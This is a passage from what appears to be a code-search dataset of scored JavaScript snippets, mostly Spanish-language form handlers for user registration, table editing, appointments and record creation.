convierto a Number directo del html porque yo controlo qu'e puede elegir el usuario\r\n let recibirValidacion = validacionesRegistro (nombre, nombreUsuario, clave); //\r\n if(recibirValidacion && perfil != -1){ \r\n crearUsuario(nombre, nombreUsuario, clave, perfil);\r\n if(perfil === 2){\r\n usuarioLoggeado = nombreUsuario; //Guardo en la variable global el nombre de usuario ingresado (tiene que ir antes de ejecutar la funcion alumno ingreso)\r\n alumnoIngreso();\r\n }else{\r\n usuarioLoggeado = nombreUsuario; //Guardo en la variable global el nombre de usuario ingresado\r\n docenteIngreso();//Guardo en la variable global el nombre de usuario ingresado (tiene que ir antes de ejecutar la funcion alumno ingreso)\r\n }\r\n }\r\n if(perfil === -1){\r\n document.querySelector(\"#errorPerfil\").innerHTML = \"Seleccione un perfil\";\r\n }\r\n}", "title": "" }, { "docid": "dbee8298d949428fd493aed4438a0289", "score": "0.5093567", "text": "function insere(){\n\t//SE EU ALTEREI ALGUM REGISTRO\n\tif(!Verifica_Alteracao(DIV_TABELA)){\n\t\tselecionaLinha(DIV_TABELA,$('#position').val(),2);\n\t\treturn;\n\t}\n\n\tif(empty(objTabela)){\n\t\tobjTabela = {};\n\t\tobjTabela.registros = [];\n\t\tobjTabela.total = 0;\n\t}\n\n\tvar novaPosicao = {};\n\tnovaPosicao.fa_number = '';\n\tnovaPosicao.fa_nome = '';\n\tnovaPosicao.pt_classfisc = '';\n\tnovaPosicao.ce_cest = '';\n\tnovaPosicao.fa_ipi = '0,00';\n\tnovaPosicao.fa_comiss = '0,000';\n\tnovaPosicao.fa_cstpis = '01';\n\tnovaPosicao.fa_pis = '0,00';\n\tnovaPosicao.fa_cofins = '0,00';\n\tnovaPosicao.fa_imposto = '0,00';\n\tnovaPosicao.fa_redicm7 = '0,00';\n\tnovaPosicao.fa_redicm12 = '0,00';\n\n\tobjTabela.registros.push(novaPosicao);\n\tobjTabela.total += 1;\n\n\tvar actpos = objTabela.total > 0 ? (objTabela.total - 1) : 0;\n\n\tpagination((Math.ceil(objTabela.total / LIMITE_REGISTROS)),function(){\n\t\tpintaLinha($(DIV_TABELA + \" tr[actipos=\"+actpos+\"]\"));\n\t\tsetStatus(actpos,'+',DIV_TABELA);\n\t\tBloqueia_Linhas(actpos,DIV_TABELA);\n\t\t$('#records').val(objTabela.total);\n\t\tselecionaLinha(DIV_TABELA,actpos,2);\n\t});\n}", "title": "" }, { "docid": "e25027c114e0965d1b30959c0069382e", "score": "0.5086632", "text": "criaPessoa(){\n return new Pessoa(\n DateUtils.textToData(this._inputDataNascimento.value),\n this._inputIdade.value,\n this._inputSalario.value\n )\n }", "title": "" }, { "docid": "b32b15ec367e523b09fdb0edc76ac211", "score": "0.5083884", "text": "function agregarSecEv(id_sector, nro_sector) {\n\n // var tipo=$('#modalLogMovimiento2').find('#tipo_movi').val();\n $('#modalCargarEventualidad').find('#filainicial').text('SECTOR');\n\n var fila = $('<tr>').attr('id', id_sector);\n var accion = $('<button>').addClass('btn btn-danger borrarMaquina')\n .append($('<i>').addClass('fa fa-fw fa-trash'));\n\n //Se agregan todas las columnas para la fila\n fila.append($('<td>').text(nro_sector))\n fila.append($('<td>').append(accion));\n\n //Agregar fila a la tabla\n $('#tablaCargaEvent tbody').append(fila);\n $('#modalCargarEventualidad').find('#tipo').val(2);\n $('#modalCargarEventualidad').find('#btn-aceptar-carga').prop('disabled', false);\n }", "title": "" }, { "docid": "c8921067558c5567bf69605856833113", "score": "0.5077047", "text": "function agregarFila(usuario) {\n let row = document.createElement('tr');\n let columnauserName = document.createElement('td');\n let columnalevelUser = document.createElement('td');\n let columnaresetUser = document.createElement('td');\n let columnaviplevelUser = document.createElement('td');\n let columnaAcciones = document.createElement('td');\n columnaAcciones.classList.add('row');\n columnaAcciones.classList.add('table-acciones');\n columnaAcciones.classList.add('d-flex');\n columnaAcciones.classList.add('justify-content-between');\n columnaAcciones.id = 'table-acciones';\n columnauserName.innerHTML = usuario.thing.userName;\n columnalevelUser.innerHTML = usuario.thing.levelUser;\n columnaresetUser.innerHTML = usuario.thing.resetsUser;\n columnaviplevelUser.innerHTML = usuario.thing.viplevelUser;\n let btnEliminar = document.createElement('button');\n btnEliminar.innerHTML = \"Eliminar\";\n btnEliminar.id = 'btnEliminar';\n btnEliminar.classList.add('btn');\n btnEliminar.classList.add('btn-danger');\n btnEliminar.classList.add('col-xs-12');\n btnEliminar.classList.add('col-md-6');\n btnEliminar.addEventListener('click', (e) => {\n e.preventDefault();\n eliminar(usuario._id);\n });\n columnaAcciones.appendChild(btnEliminar);\n let btnEditar = document.createElement('button');\n btnEditar.innerHTML = \"Editar\";\n btnEditar.id = 'btnEditar';\n btnEditar.classList.add('btn');\n btnEditar.classList.add('btn-warning');\n btnEditar.classList.add('col-xs-12');\n btnEditar.classList.add('col-md-6');\n btnEditar.addEventListener('click', (e) => {\n e.preventDefault();\n editando = true;\n columnauserName.innerHTML = \"<input type='text' id='userNameedit' class='col' value=\" + `${usuario.thing.userName}` + \">\";\n columnalevelUser.innerHTML = \"<input type='text' id='levelUseredit' class='col' value=\" + `${usuario.thing.levelUser}` + \">\";\n columnaresetUser.innerHTML = \"<input type='text' id='resetUseredit' class='col' value=\" + `${usuario.thing.resetsUser}` + \">\";\n columnaviplevelUser.innerHTML = \"<input type='text' id='viplevelUseredit' class='col' value=\" + `${usuario.thing.viplevelUser}` + \">\";\n let btnTerminar = document.createElement('button');\n btnTerminar.innerHTML = \"Terminar\";\n btnTerminar.id = 'btnTerminar';\n btnTerminar.classList.add('btn');\n btnTerminar.classList.add('btn-success');\n btnTerminar.classList.add('col-xs-12');\n btnTerminar.classList.add('col-md-6');\n btnTerminar.addEventListener('click', (e) => {\n e.preventDefault();\n editando = false;\n let nuevousuario = {\n \"userName\": document.querySelector(\"#userNameedit\").value,\n \"levelUser\": parseInt(document.querySelector(\"#levelUseredit\").value),\n \"resetsUser\": parseInt(document.querySelector(\"#resetUseredit\").value),\n \"viplevelUser\": parseInt(document.querySelector(\"#viplevelUseredit\").value),\n }\n editar(usuario._id, nuevousuario);\n\n });\n columnaAcciones.appendChild(btnTerminar);\n btnEditar.style.display = \"none\";\n });\n columnaAcciones.appendChild(btnEditar);\n row.appendChild(columnauserName);\n row.appendChild(columnalevelUser);\n row.appendChild(columnaresetUser);\n row.appendChild(columnaviplevelUser);\n row.appendChild(columnaAcciones);\n tableBody.appendChild(row);\n\n //oculta los botones si la sesion no esta iniciada\n if (sesioniniciada === false) {\n let acc = document.querySelector(\"#table-acciones\");\n acc.style.display = 'none';\n let btnsEliminar = document.querySelectorAll(\"#btnEliminar\");\n btnsEliminar.forEach(botonEL => {\n botonEL.style.display = \"none\";\n });\n let btnsEditar = document.querySelectorAll(\"#btnEditar\");\n btnsEditar.forEach(botonED => {\n botonED.style.display = \"none\"\n });\n };\n }", "title": "" }, { "docid": "c8821509fbf3f93d72a74486e810fc18", "score": "0.506917", "text": "function fAgregar(){\n if (cPermisoPag != 1){\n fAlert(\"No tiene Permiso de ejecutar esta acción\");\n return;\n }\n\n if(lBandera == true){\n fAlert(\"No puede efectuar esta operación mientras se encuentre realizando otra transacción\");\n return;\n }\n frm.iCveSistema.value = \"\";\n frm.hdCveModulo.value = \"\";\n frm.iNumReporte.value = \"\";\n\n aDocDisp = FRMListadoA.fGetObjs(0);\n\n for(cont=0;cont < aDocDisp.length;cont++){\n if(aDocDisp[cont]){\n if (frm.iCveSistema.value==\"\") frm.iCveSistema.value=aResTemp[cont][0]; else frm.iCveSistema.value+=\",\"+aResTemp[cont][0];\n if (frm.hdCveModulo.value==\"\") frm.hdCveModulo.value=aResTemp[cont][1]; else frm.hdCveModulo.value += \",\" + aResTemp[cont][1];\n if (frm.iNumReporte.value==\"\" ) frm.iNumReporte.value=aResTemp[cont][2]; else frm.iNumReporte.value+=\",\"+aResTemp[cont][2];\n }\n }\n\n if (frm.iCveSistema.value == \"\"){\n fAlert ('\\nSeleccione al menos un registro para hacer esta operación.');\n return;\n }\n\n\n frm.hdBoton.value = \"Guardar\";\n frm.hdFiltro.value = \"\";\n if(fEngSubmite(\"pgGRLReporteA.jsp\",\"idAgrega\")){\n FRMPanel.fSetTraStatus(\"UpdateComplete\");\n fDisabled(true);\n FRMListado.fSetDisabled(false);\n }\n\n fCargaListadoA();\n}", "title": "" }, { "docid": "1a2b4c1f760f8cc57b7ca38514b7c7b1", "score": "0.506203", "text": "function nuevaCita(e){\n e.preventDefault();\n\n //Extraer infomracion\n const {mascota,propietario,telefono,fecha,hora,sintomas} = citaObj;\n\n //validar\n if(mascota === '' || propietario === '' || telefono === '' || fecha === '' || hora === '' || sintomas === ''){\n ui.imprimirAltera('Llena todos los campos', 'error');\n return;\n }\n if(editando){\n ui.imprimirAltera(`Se actualizo correctamente.`)\n\n //Pasar el objeto de la cita a edicion\n administrarCitas.editarCita({...citaObj});\n\n //Quitar modo edicion\n formulario.querySelector('button[type=\"submit\"]').textContent = 'Crear Cita';\n editando = false;\n \n\n\n }else{\n //Generar id\n citaObj.id = Date.now();\n\n //Crear cita\n administrarCitas.agregarCita({...citaObj});\n ui.imprimirAltera(`Cita para ${citaObj.mascota} agregada.`)\n }\n\n\n //Restabelcer datos'\n reiniciarObj();\n formulario.reset();\n\n //Mostrar HTML citas\n ui.imprimirCitas(administrarCitas);\n\n}", "title": "" }, { "docid": "fbca8116b3189e8cc08feb9d2ef6fb6d", "score": "0.50616264", "text": "function adicionarReservaPrato() {\n let idPrato = $(\"#reservaIdPrato\").val();\n\n let refeicaoTable = $(\"#divRefeicaoReserva table\");\n\n $(\"#reservaIdPrato\").val(null);\n\n let prato = $.map(pratos, function (n) {\n if (n.id_prato == idPrato) {\n return n;\n }\n });\n\n refeicao.adicionarPrato(prato);\n // pratosRefeicao.push(prato);\n\n prato.forEach(element => {\n\n let tr = document.createElement(\"tr\");\n\n let tdId = document.createElement(\"td\");\n let tdNm = document.createElement(\"td\");\n let tdVl = document.createElement(\"td\");\n let tdDs = document.createElement(\"td\");\n\n let textId = document.createTextNode(element.id_prato);\n let textNm = document.createTextNode(element.nm_prato);\n let textVl = document.createTextNode(element.vl_prato);\n let textDs = document.createTextNode(element.ds_prato);\n\n tdId.append(textId);\n tdNm.append(textNm);\n tdVl.append(textVl);\n tdDs.append(textDs);\n\n tr.append(tdId);\n tr.append(tdNm);\n tr.append(tdVl);\n tr.append(tdDs);\n\n refeicaoTable.append(tr);\n });\n }", "title": "" }, { "docid": "6d3f5636982e7ef357319b6b7500daa7", "score": "0.5046003", "text": "function crearDatosInspector(){\n\tprobar_conexion_red();\n\tvar codigo=$('#txt_codigo').val();\n\tvar nombre_usuario=$('#txt_nombre_usuario').val();\n\tvar cedula=$('#txt_cedula').val();\n\tvar nombre=$('#txt_nombre').val();\n\tvar apellido=$('#txt_apellido').val();\n\tvar correo=$('#txt_correo').val();\n\tvar rol=$('#txt_rol').val();\n\t\n\tif (cedula!=\"\" && nombre!=\"\" && apellido!=\"\" && correo!=\"\" && rol!=\"\"){\n\t\tif (codigo != \"Procesando, espere por favor...\") {\n\t\t\t$.post('http://www.montajesyprocesos.com/inspeccion/servidor/php/crear_inspector.php',{\n\t\t\t\tCaso:'Crear',\n\t\t\t\tId: codigo,\n\t\t\t\tUsuario: nombre_usuario,\n\t\t\t\tCedula: cedula,\n\t\t\t\tNombre: nombre,\n\t\t\t\tApellido: apellido,\n\t\t\t\tCorreo: correo,\n\t\t\t\tRol: rol\n\t\t\t},function(e){\t\t\t\t\t\t\n window.localStorage.setItem('codigo_inspector', codigo); //se crea la variable persistente del codigo del inspector\n crearTablaUsuario(codigo,nombre_usuario,cedula,nombre,apellido,correo,rol);\n addItemUsuario(codigo,nombre_usuario,cedula,nombre,apellido,correo,rol); //agregamos el usario a la BD\n crearTablaConsecutivoAscensores();\n addItemConsecutivoAscensores(codigo, 0);\n crearTablaConsecutivoEscalerasAndenes();\n addItemConsecutivoEscalerasAndenes(codigo, 0);\n crearTablaConsecutivoPuertas();\n addItemConsecutivoPuertas(codigo, 0);\n\t\t\t});\t\n\t\t} else {\n if (numeroUsuarios > 0) {\n if(navigator.notification && navigator.notification.alert){\n navigator.notification.alert(\"Error = No tiene conexión a la base de datos. Contacte al administrador del sistema!\", null, \"Montajes & Procesos M.P SAS\", \"Ok :)\");\n location.href='../websites/crear_inspector.html';\n }else{\n alert(\"Error = No tiene conexión a la base de datos. Contacte al administrador del sistema! :)\");\n location.href='../websites/crear_inspector.html';\n } \n }\n\t\t}\t\n\t}\n}", "title": "" }, { "docid": "a8d33c41472aab8dda5fe83390108bd4", "score": "0.5044905", "text": "function newUser() { // Ajout d'un nouvel utilisateur\n\n // Cible le container des profils\n const userProfileContainer = document.querySelector(\".user-profile-container\");\n\n let myName = prompt(\"Prénom de l'utilisateur\");\n\n if (myName.length !== 0) { // On vérifie que le prompt ne soit pas vide\n\n usersNumber+=1; // Incrémente le nombre d'utilisateurs\n\n // 1 - Créer un nouveau user-profile\n const userProfile = document.createElement(\"div\");\n // Lui assigner la classe userProfileContainer\n userProfile.classList.add(\"user-profile\");\n // Lui assigner un ID\n userProfile.id = `user-profile-${usersNumber}`; \n // L'ajouter au DOM \n userProfileContainer.insertBefore(userProfile, document.querySelector(\"#add-user\"));\n\n // 2 - Créer un nouveau user portrait\n const userPortrait = document.createElement(\"div\");\n // Lui assigner la classe portrait\n userPortrait.classList.add(\"user-portrait\");\n // Lui assigner un ID\n userPortrait.id = `user-portrait-${usersNumber}`;\n // L'ajouter au DOM\n document.getElementById(`user-profile-${usersNumber}`).appendChild(userPortrait);\n\n // 3 - Créer un nouveau user-portrait__image\n const userPortraitImage = document.createElement(\"img\");\n // Lui assigner la classe userImage\n userPortraitImage.classList.add(\"user-portrait__image\");\n // Lui assigner un ID\n userPortraitImage.id = `user-portrait-image-${usersNumber}`;\n // Ajouter une image automatiquement\n userPortraitImage.src = \"assets/img/new_user_added.png\";\n // L'ajouter au DOM\n document.getElementById(`user-portrait-${usersNumber}`).appendChild(userPortraitImage);\n\n // 4 - Créer un nouveau user-name\n const userName = document.createElement(\"h2\");\n // Lui assigner la classe profileName\n userName.classList.add(\"user-name\");\n // Utiliser un innerHTML pour afficher le nom\n userName.innerHTML = myName;\n // L'ajouter au DOM\n document.getElementById(`user-portrait-${usersNumber}`).appendChild(userName);\n }\n}", "title": "" }, { "docid": "22d72e6d9d47c536a74615833a5decef", "score": "0.5039872", "text": "function incluir() {\n titulo(\"Inclusão de Filmes\") \n\n // adiciona a entrada do usuário ao vetor produtos e precos\n titulos.push(prompt(\"Título do Filme: \"))\n generos.push(prompt(\"Gênero.........: \"))\n tempos.push(Number(prompt(\"Duração........: \")))\n\n console.log(\"Ok! Filme cadastrado com sucesso\")\n}", "title": "" }, { "docid": "c4170694333e267e9a9332970c7c26e1", "score": "0.5023699", "text": "function exceso_agua(exceso, costo_exceso, uid_condominio, uid_condomino) {\n\n var newCobro = movimientosref.child(uid_condominio).child(uid_condomino).child('EXCESO').push();\n newCobro.set({\n valor: costo_exceso,\n tipo: true,\n detalle: \"Cobro por exceso de agua: \" + exceso,\n fecha: Date.now()\n })\n //Agregar a saldo\n var newSaldo = saldosref.child(uid_condominio).child(uid_condomino).child('EXCESO').push();\n newSaldo.set({\n valor: costo_exceso,\n tipo: true,\n detalle: \"Cobro por exceso de agua: \" + exceso,\n fecha: Date.now()\n })\n\n\n }", "title": "" }, { "docid": "d280848c02cff2b940128db8c7db33ce", "score": "0.50232863", "text": "function initusuario() {\n q = {};\n q.ke = _ucode;\n q.lu = _ulcod;\n q.ti = _utval;\n nombre = $(\"#nombre\");\n allFields = $([]).add(nombre);\n tips = $(\".validateTips\");\n\n $('#dynamictable').dataTable({\n\t\"sPaginationType\": \"full_numbers\"\n });\n\n $(\"#crearusuario\").button().click(function() {\n\tq.id = 0;\n\t$(\"#dialog-form\").dialog(\"open\");\n });\n\n $(\"#dialog-form\").dialog({\n\tautoOpen: false, \n\theight: 580, \n\twidth: 900, \n\tmodal: true,\n\tbuttons: {\n\t \"Guardar\": function() {\n\t\tvar bValid = true;\n\t\tallFields.removeClass(\"ui-state-error\");\n\t\tbValid = bValid && checkLength(nombre, \"nombre\", 3, 16);\n\t\tif (\"seleccione\" == $(\"#idcli\").val()){\n\t\t bValid = false;\n\t\t updateTips('Seleccione el cliente al cual pertenece el usuario.');\n\t\t}\n\t\tif (bValid) {\n\t\t USUARIO.savedata();\n\t\t//$(this).dialog(\"close\");\n\t\t}\n\t },\n\t \"Cancelar\": function() {\n\t\tUTIL.clearForm('formcreate1');\n\t\tUTIL.clearForm('formcreate2');\n\t\t$(this).dialog(\"close\");\n\t }\n\t},\n\tclose: function() {\n\t UTIL.clearForm('formcreate1');\n\t UTIL.clearForm('formcreate2');\n\t updateTips('');\n\t}\n });\n \n $(\"#dialog-permission\").dialog({\n\tautoOpen: false, \n\theight: 530, \n\twidth: 230, \n\tmodal: true,\n\tbuttons: {\n\t \"Guardar\": function() {\n\t\tvar bValid = true;\n\t\tallFields.removeClass(\"ui-state-error\");\n\n\t\tif (bValid) {\n\t\t USUARIO.savepermission();\n\t\t//$(this).dialog(\"close\");\n\t\t}\n\t },\n\t \"Cancelar\": function() {\n\t\tUTIL.clearForm('formpermission');\n\t\t$(this).dialog(\"close\");\n\t }\n\t},\n\tclose: function() {\n\t UTIL.clearForm('formpermission');\n\t updateTips('');\n\t}\n });\n \n USUARIO.getcustomer();\n}", "title": "" }, { "docid": "c305832efb9827a0ec6eabdc1249c285", "score": "0.5009498", "text": "function setEnlace() {\n if (comprobarFormulario()) {\n $('<form>')\n .attr('class', 'pre-form')\n .append(createInput(INTIT, 'text', 'Titulo'))\n .append(createSelect(INTILE, TILE, 'Tipo de letra'))\n .append(createInput(INCOTIT, 'color', 'Color del titulo'))\n .append(createInput(INCONT, 'text', 'Contenido'))\n .append(inputBotones(click))\n .appendTo('body');\n }\n\n /**\n * Funcion que realiza la craeción del alert.\n * @param {Event} e Evento que ha disparado esta accion.\n */\n function click(e) {\n e.preventDefault();\n\n var titulo = $('#'+INTIT).val();\n var contenido = $('#'+INCONT).val();\n\n if (titulo && contenido) {\n divDraggable()\n .append(\n $(`<a>`)\n .attr({\n href: contenido,\n target: '_blank'\n })\n .css({\n color: $('#'+INCOTIT).val(),\n 'font-family': $(`#${INTILE} :selected`).val(),\n })\n .html(titulo)\n )\n .append(botonEliminar())\n .appendTo('.principal');\n\n $(e.target).parents('form').remove();\n } else {\n alert('Rellene el campo de \"Titulo\" o el de \"Contenido\" o pulse \"Cancelar\" para salir.');\n }\n }\n}", "title": "" }, { "docid": "586c3c5f6cc0a636f5de8118d78c1e9f", "score": "0.5007696", "text": "function User(nombres, apellidos, email, password, password2, departamento, municipio, colonia, calle, casa,respuesta, dui, nit, numero, fecha){\r\n\tthis.nombres=nombres;\r\n\tthis.apellidos=apellidos;\r\n\tthis.email=email;\r\n\tthis.password=password;\r\n\tthis.password2=password2;\r\n\tthis.departamento= departamento;\r\n\tthis.municipio= municipio;\r\n\tthis.colonia= colonia;\r\n\tthis.calle= calle;\r\n\tthis.casa= casa;\r\n\tthis.respuesta=respuesta;\r\n\tthis.dui=dui;\r\n\tthis.nit=nit;\r\n\tthis.numero=numero;\r\n\tthis.fecha= fecha;\r\n\t//se inicializa cada variable a el valor que se ha pasado\r\n\tthis.comprobar= function(){\r\n\t\t//se crean los patrones\r\n\t\tvar pre= document.frmregistro.pregunseguri.options[frmregistro.pregunseguri.selectedIndex].text;\r\n\t\tvar nombs= /^([A-ZÁÉÍÓÚ]{1}[a-zñáéíóú]+[\\s]?)+$/;\r\n\t\tvar apells=/^([A-ZÁÉÍÓÚ]{1}[a-zñáéíóú]+[\\s]?)+$/;\r\n\t\tvar corr= /^[\\w]+@{1}[\\w]+\\.[a-z]{2,3}/;\r\n\t\tvar pass= /^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[$@$!%*?&])([A-Za-z\\d$@$!%*?&]|[^ ]){8,}$/;\r\n\t\tvar depar= ['Santa Ana', 'Sonsonate', 'Ahuachapan', 'La Libertad', 'Chalatenango', 'San Salvador', 'La Paz', 'Cuscatlan','San Vicente','Usulutan','Cabañas','Morazan','San Miguel','La Union'];\r\n\t\tvar du= /^\\d{8}-\\d{1}$/;\r\n\t\tvar ni= /^[0-9]{4}-[0-9]{6}-[0-9]{3}-[0-9]{1}$/;\r\n\t\tvar num= /^[6,7]{1}\\d{3}-\\d{4}$/;\r\n\t\tvar fechaNac= new Date(fecha);\r\n\t\tvar fechaact= new Date();\r\n\t\tvar mes= fechaact.getMonth();\r\n\t\tvar dia= fechaact.getDay();\r\n\t\tvar anio= fechaact.getFullYear();\r\n\t\tfechaact.setDate(dia);\r\n\t\tfechaact.setMonth(mes);\r\n\t\tfechaact.setFullYear(anio);\r\n\t\tvar edad= Math.floor(((fechaact-fechaNac)/(1000*60*60*24)/365));\r\n\t\t//se verifica con un if si todo es true y la longitud es mayor a 0\r\n\t\tif((nombs.test(nombres) && nombres.length!=0) && ((apells.test(apellidos) && apellidos.length!=0)) && ((corr.test(email) && email.length!=0)) && ((pass.test(password) && password.length!=0)) && ((password===password2)) && ((depar.includes(departamento))) && ((municipio.length!=0 && municipio.length!=\" \")) && ((colonia.length!=0 && colonia.length!=\" \")) && ((calle.length!=0 && calle.length!=\" \")) && ((casa.length!=0 && casa.length!=\" \")) && ((du.test(dui))) && ((respuesta.length!=0 && respuesta.length!=\" \")) && ((ni.test(nit))) && ((num.test(numero))) && (edad>=18)){\r\n\t\t\r\n\t\t//LocalStorage\r\n\t\tvar user = {\r\n\t\t\tUsuario: email,\r\n\t\t\tPassword: password,\r\n\t\t\tRespuesta: respuesta,\r\n\t\t\tPregunta: pre\r\n\t\t};\r\n\t\tvar usuarioGuardado = JSON.stringify(user);\r\n\t\tlocalStorage.setItem(\"UsuarioR\", usuarioGuardado);\r\n\t\tvar usuarioStr = localStorage.getItem(\"UsuarioR\");\r\n\t\tvar usuarioStr = JSON.parse(usuarioStr);\r\n\t\tusuarios[count] = usuarioStr;\r\n\t\tcount +=1;\r\n\t\t//Fin LocalStorage\r\n\r\n\t\t\t//se mmuestra la modal dependiendo del rsultado\r\n\t\t\tcontRegistro.style.display = \"none\";\r\n\t\t\tmodal.style.display = 'block';\r\n\t\t\tcont2.style.marginTop = '9.5%';\r\n\t\t\tcapaN.style.opacity = '0';\r\n\t\t\tsuccessM.style.color = '#40A798';\r\n\t\t\tlblalert.innerHTML = \"Datos correctos, el Registro ha sido exitoso\";\r\n\t\t\r\n\t\tbtncerrarmodal.onclick = function(){\r\n\t\twindow.location= \"../html/menu.html\";\r\n\t\tmodal.style.display = 'none';\r\n\t\tcontRegistro.style.display = \"block\";\r\n\t\tcont2.style.marginTop = '-5%';\r\n\t\tcapaN.style.opacity = '1';\r\n\t\tsuccessM.style.color = '#E23E57';\r\n\t\t\t}\r\n\t\t}else{\r\n\t\tcontRegistro.style.display = \"none\";\r\n\t\tmodal.style.display = 'block';\r\n\t\tcont2.style.marginTop = '9.5%';\r\n\t\tcapaN.style.opacity = '0';\r\n\tbtncerrarmodal.onclick = function(){\r\n\t\tmodal.style.display = 'none';\r\n\t\tcontRegistro.style.display = \"block\";\r\n\t\tcont2.style.marginTop = '-5%';\r\n\t\tcapaN.style.opacity = '1';\r\n\t}\r\n\t\t}\r\n\t\tif(nombs.test(nombres) && nombres.length!=0){\r\n\t\t\tdocument.frmregistro.input1.style.borderColor=\"#00FF08\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input1.style.borderColor=\"#FF0000\";\r\n\t\t}if(apells.test(apellidos) && apellidos.length!=0){\r\n\t\t\tdocument.frmregistro.input2.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input2.style.borderColor=\"#FF0000\";\r\n\t\t}if(corr.test(email) && email.length!=0){\r\n\t\t\tdocument.frmregistro.input3.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input3.style.borderColor=\"#FF0000\";\r\n\t\t}if(pass.test(password) && password.length!=0){\r\n\t\t\tdocument.frmregistro.input4.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input4.style.borderColor=\"#FF0000\";\r\n\t\t}if(password===password2 && password2.length!=0){\r\n\t\t\tdocument.frmregistro.input5.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input5.style.borderColor=\"#FF0000\";\r\n\t\t}if(depar.includes(departamento)){\r\n\t\t\tdocument.frmregistro.input6.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input6.style.borderColor=\"#FF0000\";\r\n\t\t}if(municipio.length!=0 && municipio.length!=\" \"){\r\n\t\t\tdocument.frmregistro.input7.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input7.style.borderColor=\"#FF0000\";\r\n\t\t}if(colonia.length!=0 && colonia.length!=\" \"){\r\n\t\t\tdocument.frmregistro.input8.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input8.style.borderColor=\"#FF0000\";\r\n\t\t}if(calle.length!=0 && calle.length!=\" \"){\r\n\t\t\tdocument.frmregistro.input9.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input9.style.borderColor=\"#FF0000\";\r\n\t\t}if(casa.length!=0 && casa.length!=\" \"){\r\n\t\t\tdocument.frmregistro.input10.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input10.style.borderColor=\"#FF0000\";\r\n\t\t}if(du.test(dui)){\r\n\t\t\tdocument.frmregistro.input11.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input11.style.borderColor=\"#FF0000\";\r\n\t\t}if(respuesta.length!=0 && respuesta.length!=\" \"){\r\n\t\t\tdocument.frmregistro.inputpregunta.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.inputpregunta.style.borderColor=\"#FF0000\";\r\n\t\t}if(ni.test(nit)){\r\n\t\t\tdocument.frmregistro.input12.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input12.style.borderColor=\"#FF0000\";\r\n\t\t}if(num.test(numero)){\r\n\t\t\tdocument.frmregistro.input13.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input13.style.borderColor=\"#FF0000\";\r\n\t\t}if(edad>=18){\r\n\t\t\tdocument.frmregistro.input14.style.borderColor=\"#00FF00\";\r\n\t\t}else{\r\n\t\t\tdocument.frmregistro.input14.style.borderColor=\"FF0000\";\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "d6165eb6181565524aef7e90241d6b43", "score": "0.5005623", "text": "function creaBoxOffertaAccettata(id,offerta,ifOspitato){\r\n offerteAccettate[id] = offerta;\r\n console.log(\"Offerta accettata: \" + id);\r\n \r\n var altroUtente;\r\n if(ifOspitato === \"Ospitato\") altroUtente = offerta.ospitante;\r\n else altroUtente = offerta.ospitato;\r\n\r\n var nuovaOffertaAccettata = $(\".div-offerta-accettata:first\").clone();\r\n nuovaOffertaAccettata.children(\".offerta-accettata-partita\").text(stringPartita(offerta.homeTeam,offerta.awayTeam));\r\n nuovaOffertaAccettata.children(\".offerta-accettata-id\").val(offerta._id + \"-offerta-accettata\");\r\n if(ifOspitato === \"Ospitante\"){\r\n nuovaOffertaAccettata.children(\".offerta-accettata-tipologia\").text(\"Hai ospitato:\");\r\n }\r\n else{\r\n nuovaOffertaAccettata.children(\".offerta-accettata-tipologia\").text(\"Sei stato ospitato da:\");\r\n }\r\n nuovaOffertaAccettata.children(\".offerta-accettata-altro\").text(altroUtente);\r\n\r\n $(nuovaOffertaAccettata).appendTo(\"#offerte-accettate\");\r\n}", "title": "" }, { "docid": "99d5bc12b0c7c3468f51d753881d7133", "score": "0.500497", "text": "function addProf() {\n var profName = document.getElementById(\"prof-name\").value;\n var profEmail = document.getElementById(\"prof-email\").value;\n var profPhone = document.getElementById(\"prof-tel\").value;\n var profBuilding = document.getElementById(\"prof-building\").value;\n var profRoom = document.getElementById(\"prof-room\").value;\n \n var profDays = [];\n var profDaysList = document.getElementsByClassName(\"prof-days\");\n for(var i = 0; i < profDaysList.length; i++) profDays[i] = profDaysList[i].value;\n var profStart = [];\n var profStartList = document.getElementsByClassName(\"prof-start-times\");\n for(var i = 0; i < profStartList.length; i++) profStart[i] = profStartList[i].value;\n var profEnd = [];\n var profEndList = document.getElementsByClassName(\"prof-end-times\");\n for(var i = 0; i < profEndList.length; i++) profEnd[i] = profEndList[i].value;\n \n var profObject = {\n\tname: profName,\n\temail: profEmail,\n\tphone_number: profPhone,\n\tbuilding: profBuilding,\n\toffice_number: profRoom,\n\toffice_days: profDays.slice(),\n\toffice_begin: profStart.slice(),\n\toffice_end: profEnd.slice()\n };\n \n if(_profList) {\n\tfor(var i = 0; i < _profList.length; i++) {\n if(profName == _profList[i].name) {\n window.alert(\"You already have this professor!\");\n return;\n }\n\t}\n }\n \n _profList.push(profObject);\n saveResources();\n updateUI();\n setupCanvas();\n \n closePopUps(\"add-prof\");\n }", "title": "" }, { "docid": "3c28246976b31c2796982e45559a381e", "score": "0.49782118", "text": "function guardarCandidata()\n{\n // Aqui se cargan las variables con los datos del Formulario\n\n var estado = document.getElementById(\"est_can\").value;\n var cedula = document.getElementById(\"ci_can\").value;\n var nombre = document.getElementById(\"nom_can\").value;\n var apellido = document.getElementById(\"ape_can\").value;\n var edad = document.getElementById(\"edad_can\").value;\n var peso = 